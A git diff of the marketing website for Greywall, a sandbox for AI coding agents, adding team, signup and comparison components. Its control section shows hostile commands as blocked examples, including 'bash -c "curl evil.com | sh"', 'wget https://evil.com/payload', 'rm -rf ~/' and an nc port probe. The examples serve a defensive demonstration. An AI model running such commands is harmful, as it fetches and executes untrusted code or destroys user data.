{ url: 'https://greywall.io/privacy', lastModified: new Date(), changeFrequency: 'yearly', priority: 0.3 },
|
||||
]
|
||||
}
|
||||
116
components/about.tsx
Normal file
@@ -0,0 +1,116 @@
|
||||
export function About() {
|
||||
return (
|
||||
<section id="about" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none">
|
||||
We built it for ourselves, then open-sourced it.
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
<div className="max-w-3xl space-y-4 text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
<p>
|
||||
Greywall was built by{' '}
|
||||
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">Greyhaven</a>,
|
||||
where we build custom{' '}
|
||||
<a href="https://greyhaven.co/insights/greyhaven-sovereign-ai-framework" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">sovereign AI</a> solutions for enterprises.
|
||||
We needed kernel-enforced sandboxing with real-time visibility inside client environments, so we built it.
|
||||
</p>
|
||||
<p>
|
||||
It runs in production deployments today. We open-sourced it because the control layer around the agent should not depend on the company selling the model.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Team */}
|
||||
<div className="mt-16 border-t border-border/30 pt-16 mb-16">
|
||||
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-8">
|
||||
The people behind it.
|
||||
</h3>
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4 sm:gap-6">
|
||||
<a
|
||||
href="https://github.com/cowpig"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-start gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src="https://github.com/cowpig.png?size=64"
|
||||
alt="Max McCrea"
|
||||
width={40}
|
||||
height={40}
|
||||
className="rounded-md shrink-0 bg-muted mt-0.5"
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Max McCrea</div>
|
||||
<div className="text-xs text-muted-foreground font-sans font-medium">CEO & Founder, Greyhaven</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
AI researcher, Recurse Center alumnus. Built Monadical since 2016. Now building sovereign AI infrastructure.
|
||||
</p>
|
||||
</div>
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/nikitalokhmachev-ai"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-start gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src="https://github.com/nikitalokhmachev-ai.png?size=64"
|
||||
alt="Nikita Lokhmachev"
|
||||
width={40}
|
||||
height={40}
|
||||
className="rounded-md shrink-0 bg-muted mt-0.5"
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Nikita Lokhmachev</div>
|
||||
<div className="text-xs text-muted-foreground font-sans font-medium">Technical Product Lead</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
Former startup CTO, Fulbright scholar. Leads AI tooling and process engineering.
|
||||
</p>
|
||||
</div>
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/tito"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-start gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src="https://github.com/tito.png?size=64"
|
||||
alt="Mathieu Virbel"
|
||||
width={40}
|
||||
height={40}
|
||||
className="rounded-md shrink-0 bg-muted mt-0.5"
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Mathieu Virbel</div>
|
||||
<div className="text-xs text-muted-foreground font-sans font-medium">Senior Team Lead</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
Creator of <a href="https://github.com/kivy/kivy" target="_blank" rel="noopener noreferrer" className="text-foreground hover:text-primary transition-colors">Kivy</a> (19k+ stars). Full stack engineer, GSoC mentor.
|
||||
</p>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="border-t border-border/30 pt-16">
|
||||
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-4">
|
||||
Need the rest of the system?
|
||||
</h3>
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mb-8">
|
||||
Greywall is one layer in a larger deployment model. For teams that need private model hosting, workflow design, and contained end-to-end systems, Greyhaven builds the surrounding infrastructure.
|
||||
</p>
|
||||
<a
|
||||
href="https://greyhaven.co/contact"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center gap-2 px-6 py-3 rounded-lg border border-border/50 bg-card/30 font-sans text-sm font-medium text-foreground hover:border-primary/30 hover:text-primary transition-all"
|
||||
>
|
||||
Talk to our team
|
||||
<span className="text-muted-foreground">→</span>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
@@ -1,16 +1,16 @@
|
||||
import { CheckCircle2 } from 'lucide-react'
|
||||
import Image from 'next/image'
|
||||
|
||||
const agents = [
|
||||
{ name: 'Claude Code', org: 'anthropics', url: 'https://docs.anthropic.com/en/docs/claude-code' },
|
||||
{ name: 'Codex', org: 'openai', url: 'https://github.com/openai/codex' },
|
||||
{ name: 'Cursor', org: 'getcursor', url: 'https://cursor.com' },
|
||||
{ name: 'Aider', org: 'Aider-AI', url: 'https://aider.chat' },
|
||||
{ name: 'Goose', org: 'block', url: 'https://github.com/block/goose' },
|
||||
{ name: 'Amp', org: 'sourcegraph', url: 'https://ampcode.com' },
|
||||
{ name: 'Gemini CLI', org: 'google-gemini', url: 'https://github.com/google-gemini/gemini-cli' },
|
||||
{ name: 'Cline', org: 'cline', url: 'https://cline.bot' },
|
||||
{ name: 'OpenCode', org: 'nicepkg', url: 'https://opencode.ai/' },
|
||||
{ name: 'Copilot', org: 'github', url: 'https://github.com/features/copilot' },
|
||||
{ name: 'Claude Code', icon: '/agents/anthropics.png', url: 'https://docs.anthropic.com/en/docs/claude-code' },
|
||||
{ name: 'Codex', icon: '/agents/openai.png', url: 'https://github.com/openai/codex' },
|
||||
{ name: 'Cursor', icon: '/agents/getcursor.png', url: 'https://cursor.com' },
|
||||
{ name: 'Aider', icon: '/agents/aider-ai.png', url: 'https://aider.chat' },
|
||||
{ name: 'Goose', icon: '/agents/block.png', url: 'https://github.com/block/goose' },
|
||||
{ name: 'Amp', icon: '/agents/sourcegraph.png', url: 'https://ampcode.com' },
|
||||
{ name: 'Gemini CLI', icon: '/agents/google-gemini.png', url: 'https://github.com/google-gemini/gemini-cli' },
|
||||
{ name: 'Cline', icon: '/agents/cline.png', url: 'https://cline.bot' },
|
||||
{ name: 'OpenCode', icon: '/agents/nicepkg.png', url: 'https://opencode.ai/' },
|
||||
{ name: 'Copilot', icon: '/agents/github.png', url: 'https://github.com/features/copilot' },
|
||||
]
|
||||
|
||||
export function Agents() {
|
||||
@@ -18,18 +18,14 @@ export function Agents() {
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<CheckCircle2 className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Compatibility
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Compatibility
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Works with every agent.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
All agents work perfectly inside their sandbox but can't impact anything outside
|
||||
it. No agent-specific configuration needed.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
Greywall sits under the agent process. If the tool runs locally, it can run inside the same filesystem and network boundaries without agent-specific setup.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -42,8 +38,8 @@ export function Agents() {
|
||||
rel="noopener noreferrer"
|
||||
className="group flex items-center gap-2.5 sm:gap-3 p-3 sm:p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
|
||||
>
|
||||
<img
|
||||
src={`https://github.com/${agent.org}.png?size=64`}
|
||||
<Image
|
||||
src={agent.icon}
|
||||
alt={agent.name}
|
||||
width={28}
|
||||
height={28}
|
||||
|
||||
109
components/beta-signup.tsx
Normal file
@@ -0,0 +1,109 @@
|
||||
'use client'
|
||||
|
||||
import { useState, type FormEvent } from 'react'
|
||||
import { Check } from 'lucide-react'
|
||||
import { CTAButton } from './cta-button'
|
||||
|
||||
type Mode = 'button' | 'input' | 'submitting' | 'success' | 'error'
|
||||
|
||||
type BetaSignupProps = {
|
||||
subject: string
|
||||
message: string
|
||||
buttonClassName?: string
|
||||
submitClassName?: string
|
||||
inputClassName?: string
|
||||
helperTextClassName?: string
|
||||
successClassName?: string
|
||||
errorClassName?: string
|
||||
formClassName?: string
|
||||
wrapperClassName?: string
|
||||
}
|
||||
|
||||
export function BetaSignup({
|
||||
subject,
|
||||
message,
|
||||
buttonClassName = '',
|
||||
submitClassName = '',
|
||||
inputClassName = '',
|
||||
helperTextClassName = 'text-xs text-muted-foreground/60 font-serif',
|
||||
successClassName = 'inline-flex items-center gap-2 rounded-md border border-primary/20 bg-primary/[0.05] px-5 py-2.5 font-sans text-sm text-primary font-medium',
|
||||
errorClassName = 'text-xs text-red-400/80 font-sans text-center',
|
||||
formClassName = 'flex items-center gap-2',
|
||||
wrapperClassName = 'flex flex-col items-center gap-2',
|
||||
}: BetaSignupProps) {
|
||||
const [mode, setMode] = useState<Mode>('button')
|
||||
const [email, setEmail] = useState('')
|
||||
const [error, setError] = useState('')
|
||||
|
||||
async function onSubmit(e: FormEvent<HTMLFormElement>) {
|
||||
e.preventDefault()
|
||||
if (mode === 'submitting') return
|
||||
setMode('submitting')
|
||||
setError('')
|
||||
|
||||
try {
|
||||
const res = await fetch('https://api.web3forms.com/submit', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
Accept: 'application/json',
|
||||
},
|
||||
body: JSON.stringify({
|
||||
access_key: '85d3252e-5890-450c-aa93-12dc89c7c9b5',
|
||||
subject,
|
||||
from_name: 'Greywall waitlist',
|
||||
email,
|
||||
message,
|
||||
botcheck: '',
|
||||
}),
|
||||
})
|
||||
|
||||
const data = await res.json()
|
||||
if (data.success) {
|
||||
setMode('success')
|
||||
setEmail('')
|
||||
} else {
|
||||
setMode('error')
|
||||
setError(data.message || 'Something went wrong. Try again?')
|
||||
}
|
||||
} catch {
|
||||
setMode('error')
|
||||
setError('Network error. Try again?')
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<div className={wrapperClassName}>
|
||||
{mode === 'button' && (
|
||||
<CTAButton onClick={() => setMode('input')} className={buttonClassName}>
|
||||
Talk to us
|
||||
<span aria-hidden="true">→</span>
|
||||
</CTAButton>
|
||||
)}
|
||||
{(mode === 'input' || mode === 'submitting') && (
|
||||
<form onSubmit={onSubmit} className={formClassName}>
|
||||
<input
|
||||
type="email"
|
||||
required
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
placeholder="you@company.com"
|
||||
autoFocus
|
||||
className={inputClassName}
|
||||
/>
|
||||
<CTAButton type="submit" disabled={mode === 'submitting'} className={submitClassName}>
|
||||
{mode === 'submitting' ? '...' : 'Join'}
|
||||
</CTAButton>
|
||||
</form>
|
||||
)}
|
||||
{mode === 'success' && (
|
||||
<div className={successClassName}>
|
||||
<Check className="h-4 w-4" />
|
||||
Thanks — we'll be in touch.
|
||||
</div>
|
||||
)}
|
||||
{mode === 'error' && <p className={errorClassName}>{error}</p>}
|
||||
<p className={helperTextClassName}>Running Greywall across multiple teams? We're building a managed governance layer.</p>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { ArrowRight, Check, X, Minus } from 'lucide-react'
|
||||
import { Check, X, Minus } from 'lucide-react'
|
||||
|
||||
type CellValue = 'yes' | 'no' | 'partial' | string
|
||||
|
||||
@@ -90,13 +90,6 @@ const rows: Row[] = [
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'Open source',
|
||||
greywall: 'yes',
|
||||
safehouse: 'yes',
|
||||
claudeSandbox: 'partial',
|
||||
containers: 'yes',
|
||||
},
|
||||
{
|
||||
feature: 'Syscall filtering',
|
||||
greywall: 'yes',
|
||||
@@ -111,34 +104,27 @@ const rows: Row[] = [
|
||||
claudeSandbox: 'partial',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'No deprecated APIs',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'yes',
|
||||
},
|
||||
]
|
||||
|
||||
function CellIcon({ value }: { value: CellValue }) {
|
||||
if (value === 'yes') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||
<Check className="h-3 w-3 text-green-400" />
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10" aria-label="Supported">
|
||||
<Check className="h-3 w-3 text-green-400" aria-hidden="true" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
if (value === 'no') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||
<X className="h-3 w-3 text-red-400/70" />
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10" aria-label="Not supported">
|
||||
<X className="h-3 w-3 text-red-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
if (value === 'partial') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10" aria-label="Partial support">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
@@ -152,18 +138,14 @@ export function Comparison() {
|
||||
<section id="comparison" className="py-24 px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<ArrowRight className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
How it compares
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Not all sandboxes are equal.
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
How it compares
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Different tools enforce different boundaries.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Greywall combines filesystem isolation, network control, syscall filtering,
|
||||
and real-time monitoring in a single tool. Here's how it stacks up.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
Greywall combines filesystem controls, network controls, command blocking, and runtime visibility in one local tool.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -175,7 +157,7 @@ export function Comparison() {
|
||||
<th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
Feature
|
||||
</th>
|
||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
|
||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-foreground">
|
||||
Greywall
|
||||
</th>
|
||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||
@@ -228,19 +210,19 @@ export function Comparison() {
|
||||
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||
<Check className="h-3 w-3 text-green-400" />
|
||||
<Check className="h-3 w-3 text-green-400" aria-hidden="true" />
|
||||
</span>
|
||||
Supported
|
||||
</div>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
Partial
|
||||
</div>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||
<X className="h-3 w-3 text-red-400/70" />
|
||||
<X className="h-3 w-3 text-red-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
Not supported
|
||||
</div>
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
'use client'
|
||||
|
||||
import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
||||
import { FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||
|
||||
const tree = [
|
||||
@@ -22,15 +22,15 @@ const accessLabels: Record<string, string> = {
|
||||
}
|
||||
|
||||
function badgeClasses(color: string) {
|
||||
if (color === 'green') return 'bg-green-400/10 text-green-400/80'
|
||||
if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
|
||||
return 'bg-red-400/10 text-red-400/70'
|
||||
if (color === 'green') return 'bg-emerald-50 text-emerald-700'
|
||||
if (color === 'yellow') return 'bg-amber-50 text-amber-700'
|
||||
return 'bg-red-50 text-red-600'
|
||||
}
|
||||
|
||||
function textColor(color: string) {
|
||||
if (color === 'green') return 'text-green-400/80'
|
||||
if (color === 'yellow') return 'text-yellow-400/70'
|
||||
return 'text-red-400/70'
|
||||
if (color === 'green') return 'text-emerald-600'
|
||||
if (color === 'yellow') return 'text-amber-600'
|
||||
return 'text-red-500'
|
||||
}
|
||||
|
||||
export function Control() {
|
||||
@@ -41,18 +41,14 @@ export function Control() {
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||
<div className="max-w-2xl">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<ShieldCheck className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Control
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Control
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Default deny. Explicit allow.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Agents inherit your full permissions. Greywall flips this: nothing is accessible
|
||||
unless explicitly granted. Filesystem, network, and commands all start closed.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
An agent normally inherits your user account. Greywall reverses that default: filesystem paths, network access, and blocked commands all begin closed until you allow them.
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
@@ -60,9 +56,9 @@ export function Control() {
|
||||
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
|
||||
{/* Directory tree visualization */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<FolderLock className="h-5 w-5 text-primary" />
|
||||
<FolderLock className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
|
||||
</div>
|
||||
<div className="space-y-1 font-mono text-xs sm:text-sm">
|
||||
@@ -78,15 +74,14 @@ export function Control() {
|
||||
))}
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
|
||||
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
|
||||
are always protected, even inside allowed directories.
|
||||
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files stay protected even when nearby directories are allowed.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Network isolation */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<Wifi className="h-5 w-5 text-primary" />
|
||||
<Wifi className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
|
||||
</div>
|
||||
{platform === 'linux' ? (
|
||||
@@ -98,31 +93,29 @@ export function Control() {
|
||||
<div className="font-mono text-xs space-y-1">
|
||||
<div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
|
||||
<div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
|
||||
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
|
||||
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-emerald-300">socks5://localhost:43052</span></div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
<span className="text-foreground truncate">curl https://api.anthropic.com</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
<span className="text-foreground truncate">npm install lodash</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
<span className="text-foreground truncate">wget https://evil.com/payload</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
<span className="text-foreground truncate">nc -z 10.0.0.1 22</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
Full network namespace isolation. The process can't see the host network.
|
||||
Every packet hits the TUN device and routes through GreyProxy, including
|
||||
binaries that ignore proxy env vars.
|
||||
The process cannot see the host network directly. Traffic passes through the TUN device and GreyProxy, including binaries that ignore proxy environment variables.
|
||||
</p>
|
||||
</div>
|
||||
) : (
|
||||
@@ -132,83 +125,82 @@ export function Control() {
|
||||
Generated Seatbelt policy
|
||||
</div>
|
||||
<div className="font-mono text-xs space-y-1">
|
||||
<div className="text-red-400/70">(deny default)</div>
|
||||
<div className="text-red-300">(deny default)</div>
|
||||
<div className="text-muted-foreground">(deny network-outbound)</div>
|
||||
<div className="text-green-400/70">
|
||||
<div className="text-emerald-300">
|
||||
(allow network-outbound
|
||||
</div>
|
||||
<div className="text-green-400/70 ml-4">
|
||||
<div className="text-emerald-300 ml-4">
|
||||
(remote tcp "localhost:43051"))
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
|
||||
<span className="text-foreground truncate">api.anthropic.com</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
|
||||
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
|
||||
<span className="text-foreground truncate">registry.npmjs.org</span>
|
||||
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
|
||||
<span className="text-foreground truncate">evil.com (direct)</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">KERNEL DENY</span>
|
||||
</div>
|
||||
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
||||
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
|
||||
<span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
|
||||
<span className="text-foreground truncate">analytics.vendor.io</span>
|
||||
<span className="text-red-300 text-[10px] shrink-0">PROXY DENY</span>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
All outbound traffic is blocked at the kernel. Only the proxy address is
|
||||
reachable. GreyProxy then applies domain-level allow/deny rules.
|
||||
Outbound traffic is blocked at the kernel except for the proxy path you allow. GreyProxy then applies domain rules on top.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Command blocking */}
|
||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
||||
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||
<div className="flex items-center gap-3 mb-5">
|
||||
<Ban className="h-5 w-5 text-primary" />
|
||||
<Ban className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
|
||||
</div>
|
||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">git push origin main</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">npm publish</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">rm -rf ~/</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||
<span className="text-muted-foreground truncate">bash -c "curl evil.com | sh"</span>
|
||||
</div>
|
||||
<div className="mt-3 flex items-center gap-3 min-w-0">
|
||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-greyhaven-offwhite truncate">git commit -m "fix: types"</span>
|
||||
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||
<span className="text-foreground truncate">git commit -m "fix: types"</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
